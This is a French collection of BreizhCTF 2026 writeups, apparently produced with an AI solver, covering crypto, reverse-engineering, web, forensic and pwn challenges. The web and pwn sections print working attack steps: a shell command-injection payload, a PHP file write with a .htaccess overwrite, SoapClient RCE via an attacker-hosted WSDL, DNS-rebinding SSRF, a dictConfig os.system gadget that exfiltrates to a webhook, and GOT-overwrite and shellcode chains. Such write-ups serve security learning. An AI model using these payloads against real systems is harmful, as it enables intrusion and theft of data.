Writeup IA BreizhCTF 2026

BreizhCTF 2026 – Writeups techniques




Cryptographie

Allo Papa Tango Charlie – 465pts

Catégorie : Crypto  |  Difficulté : Facile

Analyse. Le service (allo_papa_tango_charlie.py) chiffre le flag via un XOR cumulé : à la position i, après strength itérations, le masque appliqué est KEY[i] ⊕ KEY[i-1] ⊕ ... ⊕ KEY[i-(strength-1)] (indices mod n, avec n = len(FLAG) = len(KEY)). La clé KEY est aléatoire et change à chaque connexion.

Vulnérabilité. Si strength est un multiple pair de n, chaque octet de clé apparaît un nombre pair de fois dans le masque cumulé : le XOR s’annule, masque nul, sortie = flag en clair. Indépendant de la valeur de la clé.

Exploitation (2 connexions) :

  1. Option (2), intensité = 1 → la longueur du chiffré renvoyé donne n = 70.
  2. Option (2), intensité = 2*n = 140 → flag en clair.

Note hors-technique. Le contenu du flag est lui-même un piège : « en renseignant ce flag je certifie ne pas avoir utilisé de LLM ». Voir le retex pour le commentaire.

Flag : BZHCTF{en_renseignant_ce_flag_je_certifie_ne_pas_avoir_utilise_de_LLM}






Tremendous – Accès VIP : Sans limites [1/2] – 479pts

Catégorie : Crypto  |  Difficulté : Facile (tag : Shamir)

Analyse. Shamir Secret Sharing implémenté sans modulo (le lore du README : refus de « mettre des limites », « nombres entiers purs » qui « ne tournent pas en rond » = pas d’arithmétique modulaire). Le code construit le polynôme à coefficients entiers :

P(t) = a0 + a1·t + a2·t² + ... + a99·t⁹⁹

avec a0 = bytes_to_long(FLAG) et les a1..a99 aléatoires de 512 bits. leak.txt donne UN point évalué : x (premier de 1024 bits) et y = P(x).

Vulnérabilité. Sans modulo, tous les termes au-delà de a0 sont des multiples de x. Donc y mod x = a0 mod x. Comme le flag (~42 octets) est strictement inférieur à x (1024 bits), a0 = y mod x. Pas besoin d’interpolation de Lagrange ni de 100 parts.

flag = long_to_bytes(y % x)

Note technique. sys.set_int_max_str_digits(0) nécessaire car y fait ~30 657 chiffres décimaux.

Flag : BZHCTF{we_have_the_biggest_numbers_peri0d}






Tremendous – Bâbord, Tribord et Requins [2/2] – 500pts

Catégorie : Crypto  |  Difficulté : Moyen (tags : RSA, Yacht)

Schéma. RSA 1024 bits, e=65537. Deux routes :

  • /api/verify : déchiffre m = c^D mod N et renvoie sa parité (Bâbord si pair, Tribord si impair). C’est un oracle LSB.
  • /login : accorde l’accès (et le flag) si pow(bytes_to_long(password), E, N) == C_ADMIN.

Les données interceptées fournissent N, e, et le cookie vault_access_ticket (hex) = C_ADMIN.

Attaque LSB Parity Oracle. Propriété multiplicative de RSA : envoyer C' = C·2^E mod N fait déchiffrer en 2·m mod N. La parité du résultat indique si m est dans la moitié haute ou basse de [0,N). Recherche dichotomique sur 1024 bits (~1025 requêtes) qui reconstruit m. Implémenté avec fractions.Fraction pour éviter les arrondis.

On retrouve m = 129544038086926302667970502341269474149, on vérifie m^E mod N == C, on décode en ASCII → password auF2kxrHYK5VYYKe. POST /login avec ce password → page admin contenant le flag.

Flag : BZHCTF{they_stole_my_beautiful_cookie_very_sad}






Kybeurre doux – 498pts

Catégorie : Crypto  |  Difficulté : Facile (tags : Kyber, LWE)

Schéma. LWE/Regev (la version « doux » = la plus simple de Kyber). Point clé : la clé secrète s EST le flagN=64 octets, chaque octet sert de coefficient du vecteur secret (valeurs dans [0,255]).

Faille. L’option (2) "Livrer la solution" est un oracle de déchiffrement déterministe. decrypt_one_bit(FLAG, A, b) calcule mask = A·FLAG mod Q, puis v = (b - mask) mod Q, et renvoie 1 si v ≥ Q/4. Contrairement à encrypt, l’oracle n’ajoute aucun bruit → oracle parfait (« removed the noise for better KPIs », d’où le flag).

Exploitation (≈512 requêtes). Pour récupérer l’octet s_j : envoyer A = e_j (vecteur unité) → mask = s_j. L’oracle renvoie 1 ssi (b - s_j) mod Q ∈ [Q/4, 3Q/4]. Le front montant 0→1 est à b = (s_j + Q/4) mod Q. Recherche binaire de b dans [Q/4, Q/4+256] (~8 requêtes/coordonnée). 64 × 8 ≈ 512 requêtes.

Flag : BZHCTF{gpt_erwann_removed_the_noise_for_better_kpis_and_synergy}






Kybeurre demi-sel – 500pts

Catégorie : Crypto  |  Difficulté : Moyen (tag : Kyber)

Protocole (iot_scanner.py) : LWE à secret binaire. s ∈ {0,1}^50, modulus q = 1017194805530087781866367482651 (~100 bits). Chaque broadcast = échantillon LWE b = ⟨a,s⟩ + e mod q avec bruit e ∈ [-10,10]. Chaque sovereign_pulse = AES-ECB(key, pad(FLAG)) avec key = sha256("".join(str(x) for x in s)). Le secret se rafraîchit tous les 5000 cycles.

Structure de sniffed.json : 1000 broadcasts + 89 pulses. Les pulses ont 11 valeurs distinctes formant 11 blocs contigus = 11 secrets différents. En regroupant les broadcasts par segment (même pulse avant/après), on obtient 20 à 95 échantillons par secret.

Faiblesse « demi-sel ». Le bruit ±10 est négligeable devant q (~10^30) ET le secret est binaire → LWE trivial à casser. Le flag étant constant, il suffit de récupérer un seul secret.

Exploit. Embedding primal Bai-Galbraith sur ~60 échantillons d’un segment (réseau de dimension n+m+1, vecteur court = (c1·s, e, c2)), réduit par LLL (fpylll). Le secret binaire exact tombe en ~20 s. Puis key = sha256(secret_str), AES-ECB.decrypt(pulse). Validé sur 3 segments indépendants : tous donnent le même flag avec padding PKCS#7 valide.

Flag : BZHCTF{adding_too_much_salt_in_the_modulus_cracks_the_algorithm}






Kybeurre salé – 500pts

Catégorie : Crypto  |  Difficulté : Difficile (tags : Kyber, LWE)

Schéma. LWE binaire « à la Regev », chiffrement bit-par-bit. N=96, Q=3329, clé privée s ∈ {0,1}^96. encrypt_bit : b = (A·s + bruit + bit·(Q//2)) mod Q. decrypt_bit(A,b) renvoie True ssi 832 < (b - A·s) mod 3329 < 2496. exportDB = AES-256-ECB du flag, clé = SHA256 de la concaténation des bits de s.

Faiblesse. L’oracle decipher accepte des (A, b) totalement arbitraires choisis par l’attaquant. C’est un oracle de déchiffrement actif qui linéarise le système.

Attaque (96 requêtes, 1 par bit). Pour chaque i, envoyer A = e_i (vecteur unité) et b = 833, donc A·s = s_i :

  • s_i = 0833 ∈ (832, 2496)True
  • s_i = 1832, pas > 832False

True ⇒ bit 0, False ⇒ bit 1. On reconstruit s, on dérive la clé AES, on déchiffre le flag exporté.

Flag : BZHCTF{the_human_middleware_just_solved_your_lwe_system_linearly}






Reverse Engineering

Seems Empty – 477pts

Catégorie : Reverse  |  Difficulté : Très Facile (tag : Python)

Analyse. Le fichier seems-empty.pyc a le magic number f3 0d 0d 0a → Python 3.11. dis plante : bytecode des fonctions volontairement corrompu (le « malware » évoqué). C’est un leurre – inutile de réparer le bytecode.

Solution. En chargeant le module avec marshal (header de 16 octets sauté) et en parcourant co_consts, on trouve une chaîne d’apparence banale "There's nothing ... to see here..." contenant en réalité 113 caractères Unicode invisibles (U+200C, U+200D, U+2061-U+2064) → signature StegCloak. La docstring de la fonction get_secret donne explicitement la solution : décoder avec StegCloak, mot de passe empty.

Flag : BZHCTF{n07_r3411y_3mp7y}






ETOOMANYFUNCTION – 492pts

Catégorie : Reverse  |  Difficulté : Facile (tag : C)

Binaire. ELF64 PIE stripped de 4 Mo dont la section .text (~1,3 Mo) contient des dizaines de milliers de minuscules fonctions – d’où le nom.

Architecture.

  • main @ 0x13e8d5 : met à zéro le buffer flag @ 0x3ec080 et la variable @ 0x3ec060, appelle 10 fonctions « dispatcher », puis teste [0x3ec060] == 0xdead. Si vrai → printf("Flag: %s\n", 0x3ec080).
  • Chaque dispatcher appelle des milliers de fonctions feuilles de 8 octets, chacune du type add/sub/xor byte [0x3ec0XX], imm ; ret. Cumulées (dans un ordre mélangé), elles assemblent le flag dans le buffer.
  • Une fonction @ 0x9616c lit l’entrée via scanf("%15s") et la compare à "BREIZHCTF" (strcmp). Si égal → add dword [0x3ec060], 0xdead.

Verdict. L’input attendu est BREIZHCTF. Le flag est pré-calculé en mémoire par les ~100k fonctions et n’est imprimé que si la condition est remplie.

$ echo "BREIZHCTF" | ./etoomanyfunction
Flag: BZHCTF{100k_func_aint_too_many_4_u}

L’émulation Unicorn avait reconstruit le buffer partiel BZHCTF{100k_func... avant de s’arrêter sur l’appel scanf non résolu – ce qui a confirmé l’analyse statique.

Flag : BZHCTF{100k_func_aint_too_many_4_u}






Phase Zero – 497pts

Catégorie : Reverse  |  Difficulté : Facile

Binaire. ELF64 PIE non strippé, bs_phase_zero.

Le piège. main (0x14e7) contient une vérification leurre (bs_guard + bs_xor_decode) qui attend un token de 29 octets et produit du charabia (BZHBZH{15^9f15_6f=_r35?Qm41os). Fausse piste.

La vraie logique est cachée dans un constructeur custom enregistré dans .init_array, exécuté avant main – exactement ce que suggère l’énoncé (« déplacer des décisions critiques en dehors des chemins d’exécution classiques »).

  • objdump -s -j .init_array révèle deux entrées : 0x11e0 (frame_dummy standard) et 0x1367 (le constructeur planqué).
  • Le constructeur affiche la même bannière/prompt que main (pour paraître normal), lit l’input, puis appelle un check (0x12fe) qui exige 18 octets.
  • Le buffer attendu est généré par 0x1281 : out[i] = data[0x2110+i] + key3[i%3] (key3 = 02 01 00 à 0x2103), suivi d’un memfrob (XOR 0x2a) sur les 18 octets.
  • Reconstruction → BZHCTF{1n17_4rr4y}.
  • Le constructeur appelle exit() après le check, donc main n’est jamais réellement atteint.

Flag : BZHCTF{1n17_4rr4y}






Emulated Trust – 500pts

Catégorie : Reverse  |  Difficulté : Moyen

Binaire. bs_emulated_trust (ELF64 PIE non strippé).

Anti-analyse (à ignorer). bs_initialize_environment : lecture /proc/self/status (TracerPid), ptrace(PTRACE_TRACEME), getenv("LD_PRELOAD"). Aucun de ces mécanismes ne gêne une exécution normale ni l’émulation.

Le vrai « Emulated Trust ». Une VM en threaded code dans bs_decode_character : copie ~1856 octets de bytecode (depuis 0x50a0) dans un buffer local et les interprète via un dispatch jmp QWORD PTR [rsi], en lisant aussi la section .bs_flag (0x5800, 37 octets chiffrés).

Validation. bs_validate_input exige une entrée de 37 octets, calcule une constante 64 bits = FNV1a(code de bs_validate_input) XOR FNV1a(code de bs_decode_character) XOR 0x4f2a7c91d6b8e305, puis pour chaque index i construit une table de 16 octets et vérifie input[i] == bs_decode_character(table_i).

Résolution avec Unicorn. Émulation de bs_validate_input en mappant les segments LOAD aux bonnes vaddr, en hookant le call strlen@plt (PLT non résolu en émulation) et en hookant la comparaison cmp r13b, al à 0x29aa. À chaque itération, al est l’octet attendu du flag : on le capture puis on force le test à passer pour parcourir les 37 octets d’un coup.

$ printf 'BZHCTF{50m371m35_3mu14710n_15_34513r}\n' | ./bs_emulated_trust
status: ok

Flag : BZHCTF{50m371m35_3mu14710n_15_34513r} (« sometimes emulation is easier »)






Lost in a Maze – 500pts

Catégorie : Reverse  |  Difficulté : Difficile

Analyse. Binaire lost_in_a_maze + template.py + capture réseau game.pcap. Le client chiffre les paquets en AES-256-GCM avec key = SHA256(plaintext_packet_précédent) et nonce = key[:12]. Le premier paquet est en clair.

Solution. Déchiffrement séquentiel du pcap : pour chaque paquet i, on dérive la clé à partir du clair du paquet i-1, on déchiffre avec AES-GCM, on continue. Le dernier paquet serveur contient le flag.

Flag : BZHCTF{n07_4_g10b41_r3v01u710n}






Breizh Ledger App – 500pts 🩸 FIRST BLOOD

Catégorie : Reverse  |  Difficulté : Moyen (tag : Ledger)

Cible. app.elf est une application Ledger BOLOS (ARM Thumb, Cortex-M, non strippée, entry 0xc0de0001). Les symboles sont conservés : apdu_dispatcher, handler_state_machine, sm_reset, ui_display_flag, et les syscalls SDK (cx_hmac_sha256, cx_aes_*).

Analyse statique (radare2 + capstone, ARM thumb) :

  • apdu_dispatcher exige CLA = 0xE0. Les INS 0x10..0x14, 0x20, 0xFF mènent à handler_state_machine.
  • handler_state_machine est une machine à états (« secret handshake ») en 6 étapes, avec un contexte persistant en NVRAM (G_context).

Émulation avec Unicorn (stubs Python pour HMAC/AES/snprintf/memcpy/sm_reset) pour récupérer les valeurs magiques de chaque étape : table de comparaison BREIZH!!, S-box SM_MINI_SBOX, brute-force de l’étape 3.

Séquence APDU recouvrée (toutes renvoient 9000) :

  1. e010425a00 – INS 0x10, P1=0x42, P2=0x5a – (P1^0x42)+(P2^0x5a)==0
  2. e011010008437233703373425a – INS 0x11, Lc=8, data="Cr3p3sBZ"
  3. e012011500 – INS 0x12, P1=1, P2=0x15
  4. e0130000046103fb42 – INS 0x13, Lc=4, data=6103fb42 (passe la S-box → [b4,e1,7c,2d])
  5. e014133700 – INS 0x14, P1=0x13, P2=0x37 (1337)
  6. e020000000 – INS 0x20 → ui_display_flag affiche le flag

Point clé : le flag n’est pas en clair dans le binaire. Il est pré-provisionné dans la NVRAM de l’instance (flag_buffer à G_context+0x2a, ctx[9]=1). Le chemin INS 0xFF (HMAC-SHA256 + AES-CBC, clé Kreizh_HMAC_K3Y!BZHCTF2025Ledger, IV deadbeef...) n’est qu’un oracle de déchiffrement annexe – pas la voie du flag.

Exécution. L’instance déployée est une Speculos Web Interface (POST /apdu JSON {"data":"hex"}). Après envoi de la séquence, le flag s’affiche à l’écran émulé, lu via GET /events. Le texte écran le coupe en deux : BZHCTF{l3dg3r_4pdu_ + m4st3r_bzh!}.

Flag : BZHCTF{l3dg3r_4pdu_m4st3r_bzh!}






Web

Born to be Expert – 500pts

Catégorie : Web  |  Difficulté : Très Facile

Architecture. SPA Express. L’API /api/quiz/<lang> renvoie les questions avec le champ correct en clair (la « faille évidente » côté client = piège volontaire). Soumettre les bonnes réponses à /api/diploma ne donne qu’un diplôme PNG sans flag (vérifié par OCR, chunks PNG, stégano LSB, watermark). Le langage java est un piège (exam impossible à valider).

Vraie faille : injection de commande (RCE). Le champ name du diplôme est rendu en ASCII-art via figlet, inséré entre simples quotes : ... 'Felicitations <name> !'. Le name est HTML-échappé (pas de XSS/SSTI) mais pas échappé pour le shell.

  • Détection aveugle par timing : name = a';sleep 5;'b → réponse en 5,1s (vs 0,17s baseline).
  • Breakout : ';<commande>;' exécute des commandes arbitraires. La sortie d’un $(...) est même rendue dans le figlet du diplôme.

Exfiltration. Le statique est servi depuis /app/public/ à la racine. Payload name :

X';grep -rhoI "BZHCTF{[^}]*}" / 2>/dev/null > /app/public/leak.txt;echo X'Y

(answers python correctes {"0":0,"1":2}), puis GET /leak.txt → flag.

Flag : BZHCTF{Syst3m_c0mm4nd5_4nd_us3r_1nput5_d0n't_g0_w3ll_t0g3th3r!}






Online Robbery – 500pts

Catégorie : Web (Java)  |  Difficulté : Moyen

Application. Spring Boot 3.4 (Java 21) avec JWT + Spring Security + H2 in-memory. Objectif : atteindre un solde ≥ 1 000 000€ pour débloquer le tier « Flag » sur /dashboard.

Vuln intentionnelle (race condition). BankService.performTransfer est @Transactional mais sans verrou de ligne ni @Version. Spring Data JDBC réécrit la ligne entière via save() avec la valeur calculée en mémoire. Deux virements concurrents du même expéditeur provoquent un lost update = création de monnaie.

Voie plus directe (utilisée). application.properties active la console H2 (spring.h2.console.enabled=true, path /h2-console) et expose tout actuator (management.endpoints.web.exposure.include=*). SecurityConfig se contente de anyRequest().authenticated() – donc tout utilisateur connecté accède à la console H2.

  1. POST /register + POST /login → cookie JWT auth_token.
  2. GET /h2-console/login.jsp (avec le cookie) → récupérer le jsessionid.
  3. POST /h2-console/login.do avec url=jdbc:h2:mem:thunelydb, user=sa, password vide.
  4. POST /h2-console/query.doUPDATE USERS SET balance=2000000 WHERE id=<mon_id>.
  5. GET /dashboard → flag dans le tier « Flag ».

Flag : BZHCTF{Wh0_n33d5_m0n3y_wh3n_y0u_h4v3_R4c3_C0nd1t10n?}






Storemind – 500pts (sponsor Formind)

Catégorie : Web (PHP)  |  Difficulté : Moyen

Application. Site PHP (Apache + mod_php) avec upload.php, download.php, list.php, delete.php, edit_image.php, game.php, games.php. Cible live storemind.formind.fr + sources fournies. Flag en /var/www/flag.txt (chmod 400, owner appuser, lisible par le process web).

Leurres dans le code :

  • upload.php définit safe_sanitize_function qui fait shell_exec("cat " . $_GET['file']) – mais cette fonction n’est jamais appelée.
  • game.php définit getFile($filename) = file_get_contents(__DIR__."/".$filename) – jamais appelée non plus.
  • games.php contient une SQLi ($users = $_POST['player'] concaténé) mais $pdo = null casse l’exécution.

Vraie faille. Dans edit_image.php : si l’extension du name POSTé n’est pas dans la whitelist image (jpg/png/gif/webp/jpeg), le code part dans une branche qui fait file_put_contents($realDest, $imageData) sur le contenu base64-décodé. La regex sur dataUrl exige data:image/...;base64, en préfixe mais le contenu décodé est libre. Donc : écriture arbitraire de fichier dans uploads/, avec nom et contenu contrôlés.

Exploitation.

  1. POST edit_image.php : name=bzh.php, dataUrl=data:image/png;base64,<b64 de "<?php readfile('/var/www/flag.txt');"> → fichier déposé.
  2. GET /uploads/bzh.php403. Le .htaccess de uploads/ (créé par upload.php au premier upload) bloque les .php.
  3. Même primitive utilisée pour écraser le .htaccess (name=.htaccess, contenu clearé). Puis GET /uploads/bzh.php → exécution PHP → flag.
  4. Nettoyage : .htaccess restauré à son contenu original (récupéré du source) + .php neutralisé.

Flag : BZHCTF{C0nGR4Tu14710N5_fR0M_P0ulpY}






Soaperlipopette – 500pts 🩸 FIRST BLOOD

Catégorie : Web (PHP/SOAP)  |  Difficulté : Facile

Source apparente. new SoapClient($_GET[0] ?? null, $_GET[1] ?? null)->bzh() derrière ?bzh=1.

Le point clé que les runs précédents avaient sous-estimé : on contrôle entièrement le tableau d’options (2e argument) via la syntaxe array de query string 1[clef]=..., pas juste l’URL du WSDL.

Chaîne d’exploitation.

  1. WSDL/SSRF sortant. 0=http://<ATTAQUANT>:8123/serve.wsdl – egress sortant OK. On sert le WSDL et on répond au POST SOAP sortant.
  2. RCE via typemap[from_xml]. Le typemap fait pointer un type XML (xsd:string) vers une fonction PHP arbitraire mono-argument. Le callback reçoit le nœud de réponse SOAP. Découverte décisive : si la valeur de réponse est du texte nu directement sous l’élément réponse (<ns1:bzhResponse>TEXTE</ns1:bzhResponse>, sans sous-balise <result>), le callback reçoit TEXTE propre – sans balises ni xsi:type. On contrôle 100% de l’argument.
  3. from_xml=readfile → lecture de fichier. from_xml=system → exécution de commande (uid=666 challenge).
  4. Privesc. /flag.txt est -r-------- root. Il y a un binaire SUID root /getflag. Avec from_xml=system et la réponse SOAP contenant echo A; /getflag; echo B, le flag s’affiche dans la sortie HTTP entre les marqueurs.

Flag : BZHCTF{SoapClientObjectInjection}






Escape from ‘Prison de la santé’ – 500pts

Catégorie : Web (Node.js + Python)  |  Difficulté : Moyen

Architecture. 4 conteneurs partageant le namespace réseau du frontend. Le flag est dans le conteneur director (Flask, 127.0.0.1:5000, non exposé par nginx, protégé par header X-Internal-Key) : /flag.txt (mode 600 root) + binaire setuid /getflag. gunicorn y tourne en root.

Chaîne d’exploitation (5 étapes).

  1. Login inmate m.scofield / FoxRiver1!.
  2. Dupe de monnaie. purchaseItems (store.js) ne valide pas quantity > 0. Quantité négative → total négatif → wallet -= total crédite. purchaseItems(items:[{itemId:4, quantity:-1000}]) → +5000.
  3. Code d’activation. Achat du listing #6 (« Tuyau », reveals_activation_code=TRUE) via buyFromBlackMarket → message révèle FLUX-....
  4. Élévation inmate → guard. La query GraphQL announcements n’a aucun contrôle de rôle et son resolver author fait SELECT * FROM users exposant la colonne token (présente dans le type User). On déclenche forgot-password pour le guard b.bellick → un token reset est généré (jamais envoyé, « TODO »). On le fuit via { announcements { author { token } } }, puis reset-password → login guard.
  5. SSRF (DNS rebinding) → RCE Python.
    • fetchExternalFeed (feed.js) fait un fetch(url, {headers:{'X-Internal-Key':...}}). Le filtre SSRF (dns.resolve4 + check ranges privées) est contourné par DNS rebinding via make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms (resolve4 voit 1.1.1.1 → passe ; fetch re-résout 127.0.0.1 → atteint le director). ~50%/essai, donc on boucle.
    • L’endpoint director /parametres/api/config/reload?url= (settings.py) fait urllib.urlopen(url) (2e SSRF non filtré, supporte data:) puis logging.config.dictConfig(json)RCE via le gadget {"version":1,"formatters":{"f":{"()":"os.system","command":"<CMD>"}}}.
    • Payload encodé en data:application/json;base64,.... La commande s’exécute en root et exfiltre /flag.txt vers un webhook.

Flag : BZHCTF{LetMeOutOfHere}






Forensic

Ghost Operator – 500pts

Catégorie : Forensic  |  Difficulté : Moyen (tag : Drone)

Capture. 140 Ko de trafic MAVLink v2 (magic 0xFD) en UDP sur le port 14550.

Topologie. Station sol 192.168.4.10, 5 drones 192.168.4.1 (ALPHA) à 192.168.4.5 (ECHO), attaquant 192.168.4.42:54321 (port source inhabituel = l’« acteur non identifié »).

Scénario d’attaque visible dans les STATUSTEXT et le trafic .42 → .1/ALPHA :

  1. HEARTBEAT spoofé + PARAM_REQUEST_LIST (reconnaissance)
  2. PARAM_SET FENCE_ENABLE=0 et FS_THR_ENABLE=0 (désactive geofence + failsafe)
  3. PARAM_SET SYSID_MYGCS=44 (usurpation de l’identité de la GCS)
  4. SET_MODE GUIDED + MISSION_ITEM_INT redirigeant ALPHA vers lat 48.0375 / lon -4.8503 (Île de Sein)

Exfiltration (la réponse attendue). Un DATA_TRANSMISSION_HANDSHAKE (size=263, packets=4, payload=80) suivi de 4 ENCAPSULATED_DATA (seqnr 0-3). Le bloc commence par 1f 8b 08 = GZIP, le reste padding 0xFE.

Reconstruction : concaténer les 80 premiers octets de chaque ENCAPSULATED_DATA dans l’ordre des seqnr, garder 263 octets, gzip.decompress → journal de mission de l’attaquant contenant le flag.

Note technique. Le dissecteur MAVLink de tshark ne décodait pas – j’ai utilisé pymavlink pour parser proprement.

Flag : BZHCTF{ALPHA_GH0ST_0P3R4T0R}






Keys, Keys, Keys. – 500pts

Catégorie : Forensic  |  Difficulté : Facile (tags : Forensic, Crypto)

Console. La description (manettes à détection de mouvement, blanche, milieu 2000s) = Nintendo Wii. Le titre « Keys, Keys, Keys » + tag Crypto → la clé AES de la carte SD Wii.

  1. file image.dd → FAT32 brut (15 Mo, mkfs.fat).
  2. fls -f fat32 -r -p image.ddprivate/uii/title/BZPP/data.bin (inode 86). uii/BZPP sont une obfuscation de wii/Game ID.
  3. icat -f fat32 image.dd 86 > data.bin → fichier de save Wii chiffré (193792 octets).
  4. Les data.bin Wii sont chiffrés en AES-128-CBC avec la clé SD publique de la Wii :
    • Clé ab01b9d8e1622b08afbad84dbfc2a55d
    • IV 216712e6aa1f689f95c5a22324dc6a98
    openssl enc -d -aes-128-cbc -nopad -K <key> -iv <iv> -in data.bin -out data.dec
  5. L’en-tête déchiffré révèle Game ID RSPP (Wii Sports PAL), magic banner WIBN.
  6. Le titre de la bannière (offset 0x40) mélange UTF-16BE et ASCII : "Last" + "PArt:" + "_W11_1z_fun}" → c’est la dernière partie du flag.
  7. Pour la première partie : décoder l’IMAGE de la bannière (TPL RGB5A3, 192×64, format tuilé 4×4). Décodeur Python maison → la bannière rendue affiche visuellement BREIZHSports (Wii Sports customisé).

Flag : BZHCTF{BREIZHSports_W11_1z_fun}






Totally Secure – 500pts

Catégorie : Forensic  |  Difficulté : Facile (tags : Forensic, Crypto, Réseau)

Ironie du titre. Le serveur « totally secure » a son chiffrement TLS cassable parce que mal configuré.

  1. Analyse réseau (traffic.pcapng). Trafic majoritairement du bruit (HTTPS Google/GitHub/Cloudflare). Cible interne 10.90.35.19:443, SNI pleasedontdothat.local. Une seule connexion TLS 1.2 (frames 2987-3002).
  2. Faiblesse crypto. Suite négociée : TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)échange de clé RSA, sans forward secrecy. Quiconque possède la clé privée RSA déchiffre toute la session a posteriori. Certificat self-signed RSA 2048, modulus visible en clair.
  3. Récupération de la clé. Le tarball DFIR triage_server.tar.gz (~99 Mo) contient la conf nginx + etc/nginx/ssl/server.key. Son modulus correspond au certificat du pcap.
  4. Déchiffrement. tshark 4.6 a l’UAT rsa_keys (le tls.keys_list classique est obsolète). La session déchiffrée révèle un GET / et une réponse HTTP 200 avec le flag dans <div class="seccccret-value">.
tshark -r traffic.pcapng -o 'uat:rsa_keys:"/tmp/server.key",""' \
  -Y "frame.number==2997" -T fields -e http.file_data

Flag : BZHCTF{Pl34se_D0nT_D0_Th4t_1n_Pr0d!!!!}






Phantom Process – 500pts

Catégorie : Forensic mémoire  |  Difficulté : Moyen

Cible. Dump LiME d’un Linux compromis + symboles ISF Volatility3.

Scénario reconstruit.

  1. Vecteur d’infection. /etc/pip.conf redirige pip vers un index PyPI malveillant (https://pypi-cdn.survey-tools.eu/simple/). L’historique bash (linux.bash) montre l’admin jeremied qui lance sudo pip install rasterio-tools --break-system-packages – un typosquat de rasterio.
  2. L’implant.
    • Stage 1 Python (récupéré du pagecache via linux.pagecache) : __init__.py_native_check.py fork puis télécharge native_ext.so depuis le C2 et l’exécute via os.memfd_create + os.execve avec un argv truqué pour ressembler à un thread noyau.
    • Stage 2 = ELF C/libcurl qui se masque en kworker/u8:2 / [kworker/u8:2-flush-btrfs] avec PPID=1 (PIDs 8445 et 8447). Apparait en psscan et lsof mais imite un kthread. Tient deux sockets TCP ESTABLISHED 192.168.10.10 → 192.168.10.42:443. linux.proc.Maps révèle son mapping /memfd:native_ext (deleted).
  3. Exfiltration / flag. Beacon HTTPS (POST /api/v1/telemetry/report vers telemetry.bas-infra.fr) déguisé en JSON ubuntu-report. Le champ hw_metrics contient 3 blobs hex séparés par |, chiffrés en XOR répétitif. Clé = machine-id ASCII afe9d0a2af3f405bb130144226865022 (trouvé dans le heap du process 8445). Décodage XOR :
    • blob0 = clé privée SSH ed25519 (/opt/mavproxy/signing_key.bin)
    • blob1 = le flag
    • blob2 = credentials .pgpass (bas_operator:BAS_fl1ght_2026!)

Étapes vol3 clés. linux.bash, linux.psaux, linux.sockstat, linux.lsof, linux.pagecache.Files + linux.pagecache.InodePages --find ... --dump (source implant + pip.conf), linux.proc.Maps --pid 8445 --dump (heap + memfd), reconstruction de l’ELF memfd puis strings, grep du payload hw_metrics, XOR avec machine-id.

Flag : BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}






Pwn

Mei Mei Quest – 500pts

Catégorie : Pwn  |  Difficulté : Facile

Binaire. PIE, NX, pas de canary, Partial RELRO. Source chall.c fournie.

Chaîne d’exploitation (3 étapes).

  1. step1 – Format string. printf(answer) sans format (chall.c:48). L’adresse de baobao_phone_number (.bss) est leakée via %p. On place cette adresse dans le buffer (qui démarre à l’argument 6 du format) et on la déréférence avec %8$s pour lire le numéro de téléphone de 14 octets, qu’on renvoie ensuite pour passer le strncmp.
  2. step2 – Buffer overflow. fgets(buf, 48, stdin) dans buf[32] (chall.c:69-71). buf à rbp-0x20 → 40 octets de padding puis l’adresse de retour. L’adresse de step3 est leakée dans le prompt (« only 40 bytes away »), on écrase ret par step3.
  3. step3 – Shellcode. read(0, alloc, 32) dans une page mmap RWX puis alloc() (chall.c:93-104). On injecte un shellcode execve("/bin/sh") compact (23 octets, paddé à 32 avec des NOP) → shell distant (uid=666 ctf) → cat flag.txt.

Piège résolu. Le prompt command> n’est pas flush avec un newline ; faire recvuntil(b'command> ') provoquait une désynchronisation et l’EOF avant l’arrivée du shellcode. Solution : drainer après "interpreted as shellcode !" puis envoyer le shellcode paddé à 32 octets.

Flag : BZHCTF{Th4nk_Y0u_f0r_s4v1ng_M31M31_<3}






Good Soldier – 500pts

Catégorie : Pwn  |  Difficulté : Facile

Binaire. x86-64, No PIE, Partial RELRO, NX, canary, libc 2.42 fournie. Pas de source mais debug_info présent (décompilé via Ghidra/r2). Pas de fonction win ni de system importé.

Chaîne.

  1. Leak libc. L’attaque ennemie aléatoire whatthehell_attack appelle dlsym(RTLD_NEXT, "puts") et affiche le résultat en %p. On rejoue les combats (probabilité 1/5 par tour) jusqu’à obtenir l’adresse de puts → base libc.
  2. Buffer overflow. En fin de partie, fgets(ctx.review, 0x200, stdin) écrit dans char review[256] qui est le 1er champ de game_ctx { char review[256]; mem_arena arena; player_t*; enemy_t*; }. On déborde sur la struct arena (offset 0x100) sans toucher au canary (offset 0x128) en envoyant exactement 0x118 octets.
  3. Hijack de l’arena allocator. Ensuite signature = arena_alloc(&arena, 0x20) renvoie arena.base + cursor, puis fgets(signature, 0x20) y écrit. On force :
    • base = adresse de /bin/sh (libc)
    • cursor = free@GOT - base → l’alloc renvoie exactement free@GOT (0x404000)
    • capacity = cursor + 0x100 (passe l’assert)
    La signature fgets écrit donc system dans free@GOT.
  4. Déclenchement. arena_destroy appelle free(arena.base) = system("/bin/sh") → shell.

Piège. fgets stocke le \n final. Envoyer 7 octets + newline corrompait l’octet de poids fort de system. Solution : 31 octets sans newline (p64(system).ljust(0x1f, b'\x00')).

Flag : BZHCTF{W3ll_D0n3_mY_br4v3_s0ld1er_!!!_y0u_b34t_th3_4r3n4s_:O}






Speeeeeed – 500pts

Catégorie : Pwn  |  Difficulté : Moyen (tag : HTTP)

Vuln. Race condition TOCTOU → stack buffer overflow. Le serveur HTTP custom (multithread, 1 thread/connexion) stocke la requête parsée dans une variable globale partagée http_request_t current_request (http_handler.c:18). Dans get_relative_path() :

  1. lit request->path_len (global) et vérifie path_len < 128 (taille de path_copy[128]),
  2. fait usleep(5000) (5ms) – la « vitesse » du chall,
  3. puis strcpy(path_copy, request->path+1) en relisant le global.

Pendant le usleep d’un thread ayant envoyé un path court (qui passe le check), un autre thread écrase le global avec un path long (>128) → au réveil le strcpy déborde. Pas de canary.

Exploitation (binaire PIE, NX, sans canary).

  • Offset path_copy → RIP sauvegardée = 152 octets.
  • Cible : fonction cachée win() (base+0x2a0f) = dup2(client_fd, 0/1/2) + system("/bin/sh"). Le shell ressort sur la socket du thread (last_client_fd est __thread).
  • RIP sauvegardée pointe dans serve_file à base+0x2baf. win et ret partagent les bits ≥12 → partial overwrite 2 octets déterministe vis-à-vis de PIE.
